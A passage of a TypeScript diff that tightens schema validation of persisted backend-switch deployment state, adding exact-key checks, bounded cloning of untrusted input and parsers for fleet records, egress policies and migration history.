!Array.isArray(value) || value.some( (entry) => !entry || @@ -279,6 +360,16 @@ function applicationR2Progress( if (!Array.isArray(value)) { throw new Error('backend switch state has invalid application R2 progress'); } + for (const entry of value) { + if (entry && typeof entry === 'object' && !Array.isArray(entry)) { + requireExactKeys( + entry as Record, + ['resource', 'subphase'], + [], + 'backend switch state has invalid application R2 progress', + ); + } + } const allowed = new Set([ 'reserved', 'create-authorized', @@ -339,7 +430,32 @@ function plainSnapshot(value: unknown): PlainBackendSnapshot { throw new Error('backend switch state has invalid prior snapshot'); } const prior = value as Record; + requireExactKeys( + prior, + [ + 'scriptName', + 'artifactVersion', + 'specDigest', + 'databaseId', + 'databaseName', + 'durableObjectBindings', + 'namespaceIds', + 'secretNames', + 'applicationResources', + 'customDomain', + ], + ['application'], + 'backend switch state has invalid prior snapshot', + ); const domain = prior.customDomain; + if (domain && typeof domain === 'object' && !Array.isArray(domain)) { + requireExactKeys( + domain as Record, + ['id', 'hostname'], + [], + 'backend switch state has invalid prior snapshot', + ); + } if ( typeof prior.scriptName !== 'string' || !isDeploymentScriptName(prior.scriptName) || @@ -420,6 +536,22 @@ function bridgeSnapshot(value: unknown): BridgeSnapshot { throw new Error('backend switch state has invalid bridge snapshot'); } const bridge = value as Record; + requireExactKeys( + bridge, + [ + 'scriptName', + 'artifactVersion', + 'artifactDigest', + 'databaseId', + 'durableObjectBindings', + 'namespaceIds', + 'secretNames', + 'publicRouteAttached', + 'stateOnly', + ], + ['application'], + 'backend switch state has invalid bridge snapshot', + ); if ( typeof bridge.scriptName !== 'string' || !isDeploymentScriptName(bridge.scriptName) || @@ -460,6 +592,17 @@ function bridgeMutationPlan(value: unknown): BridgeMutationPlan { throw new Error('backend switch state has invalid bridge plan'); } const plan = value as Record; + requireExactKeys( + plan, + [ + 'artifactDigest', + 'durableObjectMigrations', + 'secretNames', + 'mutationDigest', + ], + ['priorDurableObjectTag', 'targetDurableObjectTag'], + 'backend switch state has invalid bridge plan', + ); if ( typeof plan.artifactDigest !== 'string' || !isSha256(plan.artifactDigest) || @@ -501,8 +644,34 @@ function releaseSnapshot(value: unknown): BackendSwitchCandidateSnapshot { throw new Error('backend switch state has invalid candidate snapshot'); } const release = value as Record; + requireExactKeys( + release, + [ + 'physicalScriptName', + 'specDigest', + 'artifactVersion', + 'releaseSchemaVersion', + 'application', + 'topology', + 'maintenance', + ], + [], + 'backend switch state has invalid candidate snapshot', + ); const topology = release.topology; const maintenance = release.maintenance; + if ( + maintenance && + typeof maintenance === 'object' && + !Array.isArray(maintenance) + ) { + requireExactKeys( + maintenance as Record, + ['receipt', 'specDigest'], + [], + 'backend switch state has invalid candidate snapshot', + ); + } if ( typeof release.physicalScriptName !== 'string' || !isDeploymentScriptName(release.physicalScriptName) || @@ -569,6 +738,18 @@ function decommissionReleaseSnapshot( throw new Error(`backend switch state has invalid ${label}`); } const release = value as Record; + requireExactKeys( + release, + [ + 'physicalScriptName', + 'specDigest', + 'artifactVersion', + 'releaseSchemaVersion', + 'application', + ], + ['topology'], + `backend switch state has invalid ${label}`, + ); if ( typeof release.physicalScriptName !== 'string' || !isDeploymentScriptName(release.physicalScriptName) || @@ -619,6 +800,25 @@ function backendSwitchPlatformTarget( throw new Error('backend switch state has invalid target'); } const target = value as Record; + requireExactKeys( + target, + [ + 'maintenanceCapabilityPublicKey', + 'stateArtifactDigest', + 'stateDurableObjectHistoryDigest', + 'd1SchemaVersion', + 'd1SchemaHistoryDigest', + 'outboundPolicy', + ], + [ + 'auditQueueName', + 'stateDurableObjectTag', + 'stateEgressCredentialDigest', + 'egressArtifactDigest', + 'sharedOutboundWorkerName', + ], + 'backend switch state has invalid target', + ); const outbound = target.outboundPolicy as Record | undefined; if ( typeof target.stateArtifactDigest !== 'string' || @@ -703,11 +903,108 @@ function decommissionSnapshot( target: ExternalPlatformTargetDescription, tenantTag: string, environment: string, + prior: PlainBackendSnapshot, + restoredArtifactVersion: string | undefined, + providerTargetSpecDigest: string, ): BackendSwitchDecommissionSnapshot { if (!value || typeof value !== 'object' || Array.isArray(value)) { throw new Error('backend switch state has invalid decommission snapshot'); } const snapshot = value as Record; + requireExactKeys( + snapshot, + [ + 'routeHostname', + 'routeTargets', + 'desiredSpecDigest', + 'target', + 'releases', + 'applicationResources', + ], + [ + 'prior', + 'restoredArtifactVersion', + 'entryPendingArtifactVersion', + 'entryPendingNamespaceIds', + 'providerTargetSpecDigest', + 'bridge', + 'resources', + 'bridgePlan', + ], + 'backend switch state has invalid decommission snapshot', + ); + const compatibilityKeys = [ + 'prior', + 'restoredArtifactVersion', + 'entryPendingArtifactVersion', + 'entryPendingNamespaceIds', + 'providerTargetSpecDigest', + ] as const; + const presentCompatibilityKeys = compatibilityKeys.filter((key) => + Object.hasOwn(snapshot, key), + ); + if ( + presentCompatibilityKeys.length !== 0 && + presentCompatibilityKeys.length !== compatibilityKeys.length + ) { + throw new Error('backend switch state has invalid decommission snapshot'); + } + const hasCompatibilityGroup = + presentCompatibilityKeys.length === compatibilityKeys.length; + const parsedCompatibilityPrior = hasCompatibilityGroup + ? plainSnapshot(snapshot.prior) + : undefined; + const parsedRestoredArtifactVersion = hasCompatibilityGroup + ? snapshot.restoredArtifactVersion === null + ? null + : typeof snapshot.restoredArtifactVersion === 'string' && + snapshot.restoredArtifactVersion.length > 0 + ? snapshot.restoredArtifactVersion + : (() => { + throw new Error( + 'backend switch state has invalid decommission snapshot', + ); + })() + : undefined; + const parsedEntryPendingArtifactVersion = hasCompatibilityGroup + ? snapshot.entryPendingArtifactVersion === null + ? null + : typeof snapshot.entryPendingArtifactVersion === 'string' && + snapshot.entryPendingArtifactVersion.length > 0 + ? snapshot.entryPendingArtifactVersion + : (() => { + throw new Error( + 'backend switch state has invalid decommission snapshot', + ); + })() + : undefined; + const parsedEntryPendingNamespaceIds = hasCompatibilityGroup + ? snapshot.entryPendingNamespaceIds === null + ? null + : stringArray( + snapshot.entryPendingNamespaceIds, + 'entry pending namespaces', + ) + : undefined; + if ( + hasCompatibilityGroup && + (JSON.stringify(parsedCompatibilityPrior) !== JSON.stringify(prior) || + parsedRestoredArtifactVersion !== (restoredArtifactVersion ?? null) || + (parsedEntryPendingArtifactVersion === null) !== + (parsedEntryPendingNamespaceIds === null) || + typeof snapshot.providerTargetSpecDigest !== 'string' || + !isSha256(snapshot.providerTargetSpecDigest) || + snapshot.providerTargetSpecDigest !== providerTargetSpecDigest || + (parsedEntryPendingNamespaceIds !== null && + JSON.stringify(parsedEntryPendingNamespaceIds) !== + JSON.stringify( + [...(parsedEntryPendingNamespaceIds ?? [])].sort((left, right) => + left < right ? -1 : left > right ? 1 : 0, + ), + ))) + ) { + throw new Error('backend switch state has invalid decommission snapshot'); + } if ( typeof snapshot.routeHostname !== 'string' || snapshot.routeHostname.length === 0 || @@ -735,6 +1032,12 @@ function decommissionSnapshot( ); } const progress = entry as Record; + requireExactKeys( + progress, + ['release', 'subphase'], + [], + 'backend switch state has invalid decommission release progress', + ); if ( progress.subphase !== 'present' && progress.subphase !== 'delete-authorized' && @@ -879,6 +1182,12 @@ function decommissionSnapshot( throw new Error('backend switch state has invalid decommission route'); } const entry = value as Record; + requireExactKeys( + entry, + ['release', 'target', 'routeTarget'], + [], + 'backend switch state has invalid decommission route', + ); const release = decommissionReleaseSnapshot( entry.release, `decommission route release ${index}`, @@ -929,6 +1238,21 @@ function decommissionSnapshot( throw new Error('backend switch decommission routes are not canonical'); } return { + ...(hasCompatibilityGroup + ? { + prior: parsedCompatibilityPrior as PlainBackendSnapshot, + restoredArtifactVersion: parsedRestoredArtifactVersion as + | string + | null, + entryPendingArtifactVersion: parsedEntryPendingArtifactVersion as + | string + | null, + entryPendingNamespaceIds: parsedEntryPendingNamespaceIds as + | readonly string[] + | null, + providerTargetSpecDigest: snapshot.providerTargetSpecDigest as string, + } + : {}), routeHostname: snapshot.routeHostname, routeTargets, desiredSpecDigest: snapshot.desiredSpecDigest, @@ -941,13 +1265,42 @@ function decommissionSnapshot( }; } -export function backendSwitchIntentFromUnknown( - value: unknown, -): BackendSwitchIntent { +function backendSwitchIntentFromPlain(value: unknown): BackendSwitchIntent { if (!value || typeof value !== 'object' || Array.isArray(value)) { throw new Error('backend switch state has invalid intent'); } const intent = value as Record; + const allowedKeys = new Set([ + 'kind', + 'tenantTag', + 'environment', + 'prior', + 'targetSpecDigest', + 'targetApplication', + 'target', + 'rollbackUntil', + 'subphase', + 'bridgePlan', + 'bridge', + 'candidate', + 'restoredArtifactVersion', + 'databaseExport', + 'applicationR2Progress', + 'stateReconcileIntent', + 'decommissionSnapshot', + 'decommissionSnapshotSha256', + 'decommissionEntrySubphase', + ]); + if ( + Reflect.ownKeys(intent).some( + (key) => + typeof key !== 'string' || + !allowedKeys.has(key) || + intent[key] === undefined, + ) + ) { + throw new Error('backend switch state has invalid intent'); + } if ( intent.kind !== 'backend-switch' || typeof intent.tenantTag !== 'string' || @@ -969,6 +1322,17 @@ export function backendSwitchIntentFromUnknown( intent.environment, ); const parsedPrior = plainSnapshot(intent.prior); + const providerTargetSpecDigest = + intent.stateReconcileIntent && + typeof intent.stateReconcileIntent === 'object' && + !Array.isArray(intent.stateReconcileIntent) && + typeof (intent.stateReconcileIntent as Record) + .targetSpecDigest === 'string' + ? String( + (intent.stateReconcileIntent as Record) + .targetSpecDigest, + ) + : intent.targetSpecDigest; const parsedDecommissionSnapshot = intent.decommissionSnapshot === undefined ? undefined @@ -977,6 +1341,11 @@ export function backendSwitchIntentFromUnknown( target, intent.tenantTag, intent.environment, + parsedPrior, + typeof intent.restoredArtifactVersion === 'string' + ? intent.restoredArtifactVersion + : undefined, + providerTargetSpecDigest, ); const targetApplication = applicationBindingTopologyFromUnknown( intent.targetApplication, @@ -986,6 +1355,25 @@ export function backendSwitchIntentFromUnknown( intent.applicationR2Progress !== undefined ? applicationR2Progress(intent.applicationR2Progress) : undefined; + const hasSnapshotDigest = intent.decommissionSnapshotSha256 !== undefined; + const hasEntrySubphase = intent.decommissionEntrySubphase !== undefined; + if ( + hasSnapshotDigest !== hasEntrySubphase || + (hasSnapshotDigest && + (!parsedDecommissionSnapshot || + typeof intent.decommissionSnapshotSha256 !== 'string' || + !isSha256(intent.decommissionSnapshotSha256) || + intent.decommissionSnapshotSha256 !== + backendSwitchDecommissionSnapshotDigest( + parsedDecommissionSnapshot as BackendSwitchDecommissionSnapshot, + ) || + typeof intent.decommissionEntrySubphase !== 'string' || + !BACKEND_SWITCH_SUBPHASES.includes( + intent.decommissionEntrySubphase as BackendSwitchSubphase, + ))) + ) { + throw new Error('backend switch state has invalid decommission authority'); + } if ( parsedApplicationR2Progress && JSON.stringify( @@ -1061,6 +1449,12 @@ export function backendSwitchIntentFromUnknown( string, unknown >; + requireExactKeys( + reconciliation, + ['targetSpecDigest', 'plan', 'subphase'], + [], + 'backend switch state has invalid state reconciliation intent', + ); if ( typeof reconciliation.targetSpecDigest !== 'string' || !isSha256(reconciliation.targetSpecDigest) || @@ -1083,14 +1477,47 @@ export function backendSwitchIntentFromUnknown( ...(parsedDecommissionSnapshot !== undefined ? { decommissionSnapshot: parsedDecommissionSnapshot } : {}), + ...(hasSnapshotDigest + ? { + decommissionSnapshotSha256: + intent.decommissionSnapshotSha256 as string, + decommissionEntrySubphase: + intent.decommissionEntrySubphase as BackendSwitchSubphase, + } + : {}), }; } +export function backendSwitchIntentFromUnknown( + value: unknown, +): BackendSwitchIntent { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: SWITCH_PLAIN_DATA_DEPTH_BOUND, + maxNodes: SWITCH_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: SWITCH_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: SWITCH_PLAIN_DATA_BYTE_BOUND, + error: () => new Error('backend switch state has invalid intent'), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw new Error('backend switch state has invalid intent'); + } + return backendSwitchIntentFromPlain(plain); +} + function databaseExport(value: unknown): import('./types.js').DatabaseExport { if (!value || typeof value !== 'object' || Array.isArray(value)) { throw new Error('backend switch state has invalid database export'); } const candidate = value as Record; + requireExactKeys( + candidate, + ['databaseId', 'location', 'sha256', 'size'], + [], + 'backend switch state has invalid database export', + ); if ( typeof candidate.databaseId !== 'string' || candidate.databaseId.length === 0 || @@ -1107,89 +1534,1085 @@ function databaseExport(value: unknown): import('./types.js').DatabaseExport { return candidate as unknown as import('./types.js').DatabaseExport; } -export interface BackendSwitchLease extends ExternalMutationFence { - get(): Promise; - put(intent: BackendSwitchIntent): Promise; - current(): FleetRecord; - putOwnership(record: FleetRecord, intent: BackendSwitchIntent): Promise; +function fleetOutboundPolicyFromUnknown( + value: unknown, + tenantTag: string, + environment: string, +): import('./types.js').DeploymentEgressPolicy { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const policy = value as Record; + requireExactKeys( + policy, + ['policyId', 'policyHosts', 'policyDigest'], + [], + BACKEND_SWITCH_RECORD_ERROR, + ); + if ( + typeof policy.policyId !== 'string' || + !policy.policyId || + !Array.isArray(policy.policyHosts) || + policy.policyHosts.some((host) => typeof host !== 'string') || + typeof policy.policyDigest !== 'string' + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const canonical = canonicalDeploymentEgressPolicy({ + policyId: policy.policyId, + tenantTag, + environment, + allowedHosts: policy.policyHosts as string[], + }); + if (!sameCanonicalData(canonical, policy)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + return canonical; } -export type BackendSwitchMutationFence = ExternalMutationFence; - -export function finalizedBridgeForRecord(record: FleetRecord): BridgeSnapshot { - const intent = record.backendSwitchIntent; - const bridge = intent?.bridge; - const state = record.platformResources?.stateWorker; +function fleetPlatformResourcesFromUnknown( + value: unknown, + tenantTag: string, + environment: string, + target: ExternalPlatformTargetDescription, +): ExternalPlatformResources { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const source = value as Record; + requireExactKeys( + source, + ['maintenanceCapabilityPublicKey', 'stateWorker'], + [ + 'auditQueueName', + 'outboundPolicy', + 'sharedOutboundWorkerName', + 'egressProxy', + ], + BACKEND_SWITCH_RECORD_ERROR, + ); + const state = source.stateWorker; + if (!state || typeof state !== 'object' || Array.isArray(state)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const stateWorker = state as Record; + requireExactKeys( + stateWorker, + [ + 'scriptName', + 'artifactVersion', + 'artifactDigest', + 'durableObjectBindings', + 'namespaceIds', + ], + ['plane', 'dispatchNamespace', 'durableObjectTag'], + BACKEND_SWITCH_RECORD_ERROR, + ); if ( - intent?.subphase !== 'finalized' || - !bridge?.stateOnly || - bridge.publicRouteAttached || - record.backend !== 'workers-for-platforms' || - state?.plane !== 'ordinary' || - bridge.scriptName !== record.scriptName || - bridge.scriptName !== state.scriptName || - bridge.databaseId !== record.databaseId || - bridge.artifactVersion !== state.artifactVersion || - bridge.artifactDigest !== state.artifactDigest || - JSON.stringify(bridge.durableObjectBindings) !== - JSON.stringify(state.durableObjectBindings) || - JSON.stringify(bridge.namespaceIds) !== JSON.stringify(state.namespaceIds) + typeof source.maintenanceCapabilityPublicKey !== 'string' || + canonicalMaintenanceCapabilityPublicKey( + source.maintenanceCapabilityPublicKey, + ) !== source.maintenanceCapabilityPublicKey || + typeof stateWorker.scriptName !== 'string' || + !isDeploymentScriptName(stateWorker.scriptName) || + typeof stateWorker.artifactVersion !== 'string' || + !stateWorker.artifactVersion || + typeof stateWorker.artifactDigest !== 'string' || + !isSha256(stateWorker.artifactDigest) || + (stateWorker.plane !== undefined && + stateWorker.plane !== 'ordinary' && + stateWorker.plane !== 'dispatch') || + (stateWorker.dispatchNamespace !== undefined && + (typeof stateWorker.dispatchNamespace !== 'string' || + !stateWorker.dispatchNamespace)) || + (stateWorker.plane === 'dispatch' && + typeof stateWorker.dispatchNamespace !== 'string') || + (stateWorker.durableObjectTag !== undefined && + (typeof stateWorker.durableObjectTag !== 'string' || + !stateWorker.durableObjectTag)) || + (source.auditQueueName !== undefined && + (typeof source.auditQueueName !== 'string' || !source.auditQueueName)) || + (source.sharedOutboundWorkerName !== undefined && + (typeof source.sharedOutboundWorkerName !== 'string' || + !isDeploymentScriptName(source.sharedOutboundWorkerName))) ) { - throw new Error( - 'finalized backend switch does not own an exact ordinary state bridge', + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const outboundPolicy = + source.outboundPolicy === undefined + ? undefined + : fleetOutboundPolicyFromUnknown( + source.outboundPolicy, + tenantTag, + environment, + ); + let egressProxy: ExternalPlatformResources['egressProxy']; + if (source.egressProxy !== undefined) { + if ( + !source.egressProxy || + typeof source.egressProxy !== 'object' || + Array.isArray(source.egressProxy) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const proxy = source.egressProxy as Record; + requireExactKeys( + proxy, + [ + 'scriptName', + 'artifactVersion', + 'artifactDigest', + 'policyId', + 'policyHosts', + 'policyDigest', + ], + [], + BACKEND_SWITCH_RECORD_ERROR, + ); + const policy = fleetOutboundPolicyFromUnknown( + { + policyId: proxy.policyId, + policyHosts: proxy.policyHosts, + policyDigest: proxy.policyDigest, + }, + tenantTag, + environment, ); + if ( + typeof proxy.scriptName !== 'string' || + !isDeploymentScriptName(proxy.scriptName) || + typeof proxy.artifactVersion !== 'string' || + !proxy.artifactVersion || + typeof proxy.artifactDigest !== 'string' || + !isSha256(proxy.artifactDigest) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + egressProxy = { + scriptName: proxy.scriptName, + artifactVersion: proxy.artifactVersion, + artifactDigest: proxy.artifactDigest, + ...policy, + }; } - return bridge; + const resources: ExternalPlatformResources = { + ...(typeof source.auditQueueName === 'string' + ? { auditQueueName: source.auditQueueName } + : {}), + maintenanceCapabilityPublicKey: source.maintenanceCapabilityPublicKey, + stateWorker: { + scriptName: stateWorker.scriptName, + artifactVersion: stateWorker.artifactVersion, + artifactDigest: stateWorker.artifactDigest, + ...(stateWorker.plane === 'ordinary' || stateWorker.plane === 'dispatch' + ? { plane: stateWorker.plane } + : {}), + ...(typeof stateWorker.dispatchNamespace === 'string' + ? { dispatchNamespace: stateWorker.dispatchNamespace } + : {}), + ...(typeof stateWorker.durableObjectTag === 'string' + ? { durableObjectTag: stateWorker.durableObjectTag } + : {}), + durableObjectBindings: durableBindings( + stateWorker.durableObjectBindings, + 'platform state bindings', + ), + namespaceIds: stringArray( + stateWorker.namespaceIds, + 'platform state namespaces', + ), + }, + ...(outboundPolicy ? { outboundPolicy } : {}), + ...(typeof source.sharedOutboundWorkerName === 'string' + ? { sharedOutboundWorkerName: source.sharedOutboundWorkerName } + : {}), + ...(egressProxy ? { egressProxy } : {}), + }; + assertPlatformResourcesMatchTarget(resources, { + ...target, + stateArtifactDigest: resources.stateWorker.artifactDigest, + }); + return resources; } -export function assertBackendSwitchInactive(record: FleetRecord): void { +function fleetMigrationIntentFromUnknown( + value: unknown, + tenantTag: string, + environment: string, +): ExternalMigrationIntent { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const source = value as Record; + requireExactKeys( + source, + [ + 'targetSpecDigest', + 'priorRelease', + 'priorTarget', + 'priorOutboundPolicy', + 'targetRelease', + 'target', + 'subphase', + ], + ['platformOnly'], + BACKEND_SWITCH_RECORD_ERROR, + ); if ( - record.backendSwitchIntent && - record.backendSwitchIntent.subphase !== 'rolled-back' && - record.backendSwitchIntent.subphase !== 'finalized' + typeof source.targetSpecDigest !== 'string' || + !isSha256(source.targetSpecDigest) || + (source.platformOnly !== undefined && source.platformOnly !== true) || + ![ + 'planned', + 'schema-applied', + 'platform-applied', + 'candidate-deployed', + 'candidate-armed', + 'route-published', + ].includes(String(source.subphase)) ) { - throw new Error( - `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`, + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + return { + ...(source.platformOnly === true ? { platformOnly: true as const } : {}), + targetSpecDigest: source.targetSpecDigest, + priorRelease: decommissionReleaseSnapshot( + source.priorRelease, + 'migration prior release', + ), + priorTarget: backendSwitchPlatformTarget( + source.priorTarget, + tenantTag, + environment, + ), + priorOutboundPolicy: fleetOutboundPolicyFromUnknown( + source.priorOutboundPolicy, + tenantTag, + environment, + ), + targetRelease: decommissionReleaseSnapshot( + source.targetRelease, + 'migration target release', + ), + target: backendSwitchPlatformTarget(source.target, tenantTag, environment), + subphase: source.subphase as ExternalMigrationIntent['subphase'], + }; +} + +function fleetMigrationHistoryFromUnknown( + value: unknown, +): readonly import('./types.js').DurableObjectMigration[] { + if (!Array.isArray(value)) throw new Error(BACKEND_SWITCH_RECORD_ERROR); + for (const migration of value) { + if ( + !migration || + typeof migration !== 'object' || + Array.isArray(migration) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const item = migration as Record; + requireExactKeys( + item, + ['tag'], + ['newSqliteClasses', 'newClasses', 'deletedClasses', 'renamedClasses'], + BACKEND_SWITCH_RECORD_ERROR, ); + if ( + typeof item.tag !== 'string' || + !item.tag || + ['newSqliteClasses', 'newClasses', 'deletedClasses'].some( + (key) => + item[key] !== undefined && + (!Array.isArray(item[key]) || + (item[key] as unknown[]).some( + (entry) => typeof entry !== 'string', + )), + ) || + (item.renamedClasses !== undefined && + (!Array.isArray(item.renamedClasses) || + item.renamedClasses.some( + (entry) => + !entry || + typeof entry !== 'object' || + Array.isArray(entry) || + typeof (entry as Record).from !== 'string' || + typeof (entry as Record).to !== 'string', + ))) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } } + return value as readonly import('./types.js').DurableObjectMigration[]; } -async function withBackendSwitchLease( - store: FleetStateStore, - tenantTag: string, - environment: string, - operation: (lease: BackendSwitchLease) => Promise, -): Promise { - return store.withDeploymentLease( - tenantTag, - environment, - async (fleetLease) => { - let record = await store.get(tenantTag, environment); - if (!record) { - throw new Error( - `deployment '${tenantTag}:${environment}' is not provisioned`, - ); - } - const lease: BackendSwitchLease = { - mutationLeaseTtlMs: fleetLease.mutationLeaseTtlMs, - assertOwned: () => fleetLease.assertOwned(), +const BACKEND_SWITCH_RECORD_KEYS = [ + 'tenantTag', + 'backend', + 'environment', + 'scriptName', + 'databaseId', + 'databaseName', + 'schemaVersion', + 'artifactVersion', + 'desiredSpecDigest', + 'pendingSpecDigest', + 'pendingArtifactVersion', + 'activeRelease', + 'pendingRelease', + 'migrationPriorRelease', + 'rollbackRelease', + 'retiringRelease', + 'outboundPolicy', + 'platformResources', + 'platformTarget', + 'migrationIntent', + 'backendSwitchIntent', + 'decommissionIntent', + 'applicationResources', + 'applicationBindings', + 'durableObjectTag', + 'durableObjectMigrationHistory', + 'durableObjectMigrationHistoryDigest', + 'durableObjectBindings', + 'routeHostname', + 'phase', + 'databaseExportLocation', + 'databaseExportSha256', + 'databaseExportSize', + 'settledSettlementKey', + 'updatedAt', +] as const; + +const BACKEND_SWITCH_REQUIRED_RECORD_KEYS = new Set([ + 'tenantTag', + 'backend', + 'environment', + 'scriptName', + 'databaseId', + 'databaseName', + 'schemaVersion', + 'artifactVersion', + 'desiredSpecDigest', + 'durableObjectBindings', + 'routeHostname', + 'phase', + 'updatedAt', + 'backendSwitchIntent', +]); + +function canonicalJsonValue(value: unknown): unknown { + if (Array.isArray(value)) return value.map(canonicalJsonValue); + if (!value || typeof value !== 'object') return value; + return Object.fromEntries( + Object.keys(value as Record) + .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0)) + .map((key) => [ + key, + canonicalJsonValue((value as Record)[key]), + ]), + ); +} + +function sameCanonicalData(left: unknown, right: unknown): boolean { + return ( + JSON.stringify(canonicalJsonValue(left)) === + JSON.stringify(canonicalJsonValue(right)) + ); +} + +export interface CanonicalBackendSwitchFleetRecord { + readonly record: FleetRecord; + readonly comparisonBytes: string; +} + +/** @internal Descriptor-safe structural Fleet record and switch-authority classification. */ +export interface StructuralBackendSwitchFleetRecord { + readonly record: FleetRecord; + readonly carriesBackendSwitchAuthority: boolean; +} + +/** @internal Single structural ingress policy for backend-switch-aware consumers. */ +export function structuralBackendSwitchFleetRecordFromUnknown( + value: unknown, +): StructuralBackendSwitchFleetRecord { + try { + const plain = cloneBoundedPlainData(value, { + maxDepth: SWITCH_PLAIN_DATA_DEPTH_BOUND, + maxNodes: SWITCH_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: SWITCH_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: SWITCH_PLAIN_DATA_BYTE_BOUND, + error: () => new Error(BACKEND_SWITCH_RECORD_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const source = plain as Record; + const shell = source.decommissionIntent; + const identity = + shell && typeof shell === 'object' && !Array.isArray(shell) + ? (shell as Record).identity + : undefined; + const mode = + identity && typeof identity === 'object' && !Array.isArray(identity) + ? (identity as Record).mode + : undefined; + return { + record: source as unknown as FleetRecord, + carriesBackendSwitchAuthority: + Object.hasOwn(source, 'backendSwitchIntent') || + Boolean( + mode && + typeof mode === 'object' && + !Array.isArray(mode) && + (mode as Record).kind === 'backend-switch', + ), + }; + } catch { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } +} + +function canonicalFleetRecordFromSource( + source: Record, + switchIntent: BackendSwitchIntent, + shell: DecommissionAdvanceIntent | undefined, +): FleetRecord { + if ( + typeof source.tenantTag !== 'string' || + !isDeploymentTenantTag(source.tenantTag) || + typeof source.environment !== 'string' || + !isDeploymentEnvironment(source.environment) || + (source.backend !== 'plain-worker' && + source.backend !== 'workers-for-platforms') || + typeof source.scriptName !== 'string' || + !isDeploymentScriptName(source.scriptName) || + typeof source.databaseId !== 'string' || + !source.databaseId || + typeof source.databaseName !== 'string' || + !source.databaseName || + !Number.isSafeInteger(source.schemaVersion) || + Number(source.schemaVersion) < 0 || + typeof source.artifactVersion !== 'string' || + !source.artifactVersion || + typeof source.desiredSpecDigest !== 'string' || + !isSha256(source.desiredSpecDigest) || + typeof source.routeHostname !== 'string' || + !source.routeHostname || + source.routeHostname !== source.routeHostname.toLowerCase() || + typeof source.phase !== 'string' || + !PROVISIONING_PHASES.includes(source.phase as ProvisioningPhase) || + typeof source.updatedAt !== 'string' || + !Number.isFinite(Date.parse(source.updatedAt)) || + new Date(source.updatedAt).toISOString() !== source.updatedAt || + switchIntent.tenantTag !== source.tenantTag || + switchIntent.environment !== source.environment || + switchIntent.prior.scriptName !== source.scriptName || + switchIntent.prior.databaseId !== source.databaseId || + switchIntent.prior.databaseName !== source.databaseName || + source.routeHostname !== + switchIntent.prior.customDomain.hostname.toLowerCase() || + (switchIntent.decommissionSnapshot !== undefined && + switchIntent.decommissionSnapshot.routeHostname !== source.routeHostname) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const tenantTag = source.tenantTag; + const environment = source.environment; + const applicationResources = Object.hasOwn(source, 'applicationResources') + ? applicationResourcesFromRecord(source.applicationResources) + : undefined; + const applicationBindings = Object.hasOwn(source, 'applicationBindings') + ? applicationBindingTopologyFromUnknown( + source.applicationBindings, + 'Fleet application bindings', + ) + : undefined; + if ( + applicationBindings && + !sameCanonicalData( + applicationBindings.r2Buckets, + (applicationResources ?? []).map( + ({ name, bucketName, jurisdiction }) => ({ + name, + bucketName, + jurisdiction, + }), + ), + ) + ) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } + const release = (key: string) => + Object.hasOwn(source, key) + ? decommissionReleaseSnapshot(source[key], `Fleet ${key}`) + : undefined; + const activeRelease = release('activeRelease'); + const pendingRelease = release('pendingRelease'); + const migrationPriorRelease = release('migrationPriorRelease'); + const rollbackRelease = release('rollbackRelease'); + const retiringRelease = release('retiringRelease'); + const outboundPolicy = Object.hasOwn(source, 'outboundPolicy') + ? fleetOutboundPolicyFromUnknown( + source.outboundPolicy, + tenantTag, + environment, + ) + : undefined; + const platformTarget = Object.hasOwn(source, 'platformTarget') + ? reorderCanonicalObjectLikeSource( + backendSwitchPlatformTarget( + source.platformTarget, + tenantTag, + environment, + ), + source.platformTarget, + ) + : undefined; + const platformResources = Object.hasOwn(source, 'platformResources') + ? platformTarget + ? fleetPlatformResourcesFromUnknown( + source.platformResources, + tenantTag, + environment, + platformTarget, + ) + : (() => { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + })() + : undefined; + const migrationIntent = Object.hasOwn(source, 'migrationIntent') + ? fleetMigrationIntentFromUnknown( + source.migrationIntent, + tenantTag, + environment, + ) + : undefined; + const durableObjectBindings = durableBindings( + source.durableObjectBindings, + 'Fleet Durable Object bindings', + ); + const migrationHistory = Object.hasOwn( + source, + 'durableObjectMigrationHistory', + ) + ? fleetMigrationHistoryFromUnknown(source.durableObjectMigrationHistory) + : undefined; + const migrationHistoryDigest = Object.hasOwn( + source, + 'durableObjectMigrationHistoryDigest', + ) + ? source.durableObjectMigrationHistoryDigest + : undefined; + if ( + (migrationHistory === undefined) !== + (migrationHistoryDigest === undefined) || + (migrationHistory && + (typeof migrationHistoryDigest !== 'string' || + durableObjectMigrationHistoryDigest(migrationHistory) !== + migrationHistoryDigest)) || + (source.durableObjectTag !== undefined && + (typeof source.durableObjectTag !== 'string' || + !source.durableObjectTag)) || + (source.pendingSpecDigest !== undefined && + (typeof source.pendingSpecDigest !== 'string' || + !isSha256(source.pendingSpecDigest))) || + (source.pendingArtifactVersion !== undefined && + (typeof 